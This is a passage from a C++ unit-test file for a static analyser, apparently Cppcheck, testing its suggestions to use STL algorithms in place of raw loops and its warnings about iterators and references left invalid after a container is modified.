0;\\n\"\n \" for(int x:v)\\n\"\n \" n = n + x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n += 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = n + 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b &= f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b |= f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b = b && f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b = b || f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int& x:v)\\n\"\n \" n = ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::size_t f(const std::map& m) {\\n\" // #10412\n \" std::size_t t = 0;\\n\"\n \" for (std::map::const_iterator i = m.begin(); i != m.end(); ++i) {\\n\"\n \" t += i->second;\\n\"\n \" }\\n\"\n \" for (std::map::const_iterator i = m.begin(); i != m.end(); i++) {\\n\"\n \" t += i->second;\\n\"\n \" }\\n\"\n \" return t; \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\"\n \"[test.cpp:7:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"int g(const std::vector& v) {\\n\"\n \" int t = 0;\\n\"\n \" for (auto i = v.begin(); i != v.end(); ++i) {\\n\"\n \" t += *i;\\n\"\n \" }\\n\"\n \" return t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"auto g(const std::vector& v) {\\n\"\n \" std::vector::iterator> r;\\n\"\n \" for (auto i = v.begin(); i != v.end(); ++i) {\\n\"\n \" r.push_back(i);\\n\"\n \" }\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(std::vector v) {\\n\"\n \" std::string ret;\\n\"\n \" for (const std::string& s : v)\\n\"\n \" ret += s + '\\\\n';\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(const std::string& s) {\\n\"\n \" std::string ret;\\n\"\n \" for (char c : s)\\n\"\n \" if (c != ' ')\\n\"\n \" ret += i;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int sum = 0;\\n\"\n \" for (auto it = v.begin(); it != v.end(); it += 2)\\n\"\n \" sum += *it;\\n\"\n \" return sum;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #12900\n \" int x{};\\n\"\n \" for (const auto i : v)\\n\"\n \" x = dostuff(i);\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #11493\n \" int s = 0;\\n\"\n \" for (std::size_t i = 0; i < v.size(); ++i)\\n\"\n \" s += v[i];\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(int n) {\\n\"\n \" int s = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" s += g(i);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int);\\n\"\n \"int f(const std::vector&v, int n) {\\n\"\n \" int s = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" s += g(i) + v[i];\\n\"\n \" }\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoContainerInsert() {\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::copy algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(f(x));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(x + 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::copy algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(f(x));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(x + 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(v);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoIncrement() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n++;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" ++n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x++;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void loopAlgoConditional() {\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) Consider using std::replace_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n += x;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n += 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Consider using std::count_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n++;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consider using std::count_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" x = x + 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" c.push_back(x);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:14]: (style) Consider using std::copy_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consider using std::all_of or std::none_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:22]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f();\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" f();\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" f(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" if(b) {}\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b |= true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b &= true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // There is no transform_if\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" c.push_back(x + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x++;\\n\"\n \" if (pred(x)) {\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f();\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" if(x) { return; }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(int);\\n\"\n \"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (!g(i))\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (i < 5)\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (style) Consider using std::any_of, std::all_of, std::none_of algorithm instead of a raw loop.\\n\",\n \"\",\n errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (i < 5) {\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector v0, v1;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void T::g() {\\n\"\n \" for (std::vector::const_iterator it0 = v0.cbegin(); it0 != v0.cend(); ++it0) {\\n\"\n \" std::vector::iterator it1;\\n\"\n \" for (it1 = v1.begin(); it1 != v1.end(); ++it1)\\n\"\n \" if (*it0 == *it1)\\n\"\n \" break;\\n\"\n \" if (it1 != v1.end())\\n\"\n \" v1.erase(it1);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:0]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool f(const std::set& set, const std::string& f) {\\n\" // #11595\n \" for (const std::string& s : set) {\\n\"\n \" if (f.length() >= s.length() && f.compare(0, s.length(), s) == 0) {\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"void f() {\\n\" // #12064\n \" for (const auto& animal : { \\\"cat\\\", \\\"bat\\\", \\\"tiger\\\", \\\"rat\\\" })\\n\"\n \" if (std::strlen(animal) > 4)\\n\"\n \" throw 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const std::vector& v, const std::vector& w, int n) {\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] == w[i])\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int n) {\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (g(i))\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(int);\\n\"\n \"bool f(const std::vector&v, int n) {\\n\"\n \" bool b{};\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" if (v[i] > 0 && g(i)) {\\n\"\n \" b = true;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoMinMax() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > n ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x < n ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > n ? n : x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x < n ? n : x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo(int m) {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > m ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #9091\n \" int maxY = 0;\\n\"\n \" for (int y : v) {\\n\"\n \" if (y > maxY)\\n\"\n \" maxY = y;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int minY = 0;\\n\"\n \" for (int y : v) {\\n\"\n \" if (y < minY)\\n\"\n \" minY = y;\\n\"\n \" }\\n\"\n \" return minY;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int max = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" max = v[i] > max ? v[i] : max;\\n\"\n \" return max;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int min = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" min = v[i] < min ? v[i] : min;\\n\"\n \" return min;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n }\n\n void loopAlgoMultipleReturn()\n {\n check(\"bool f(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i < 0)\\n\"\n \" continue;\\n\"\n \" if (i)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool g(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return true;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool g(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(std::vector& v) {\\n\"\n \" for (auto& i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" j++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int& k = j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" k++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int* k = &j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" (*k)++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int k = j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" k++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::all_of or std::none_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"class C {\\n\"\n \"private:\\n\"\n \" QString s;\\n\"\n \"public:\\n\"\n \" C(QString);\\n\"\n \"private:\\n\"\n \" void f() {\\n\"\n \" QVERIFY(QDir(s).exists());\\n\"\n \" }\\n\"\n \" void f(const QStringList& d) {\\n\"\n \" for (QString f : d)\\n\"\n \" QDir(s);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void invalidContainer() {\n check(\"void f(std::vector &v) {\\n\"\n \" auto v0 = v.begin();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << *v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:22] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:19]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"std::string e();\\n\"\n \"void a() {\\n\"\n \" std::vector b;\\n\"\n \" for (std::vector::const_iterator c; c != b.end(); ++c) {\\n\"\n \" std::string f = e();\\n\"\n \" std::string::const_iterator d = f.begin();\\n\"\n \" if (d != f.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int *v0 = &v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << (*v0)[0] << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:15] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:20]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v = {1};\\n\"\n \" int &v0 = v.front();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:3:13] -> [test.cpp:3:17] -> [test.cpp:4:7] -> [test.cpp:5:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v = {1};\\n\"\n \" int &v0 = v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:7] -> [test.cpp:5:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n 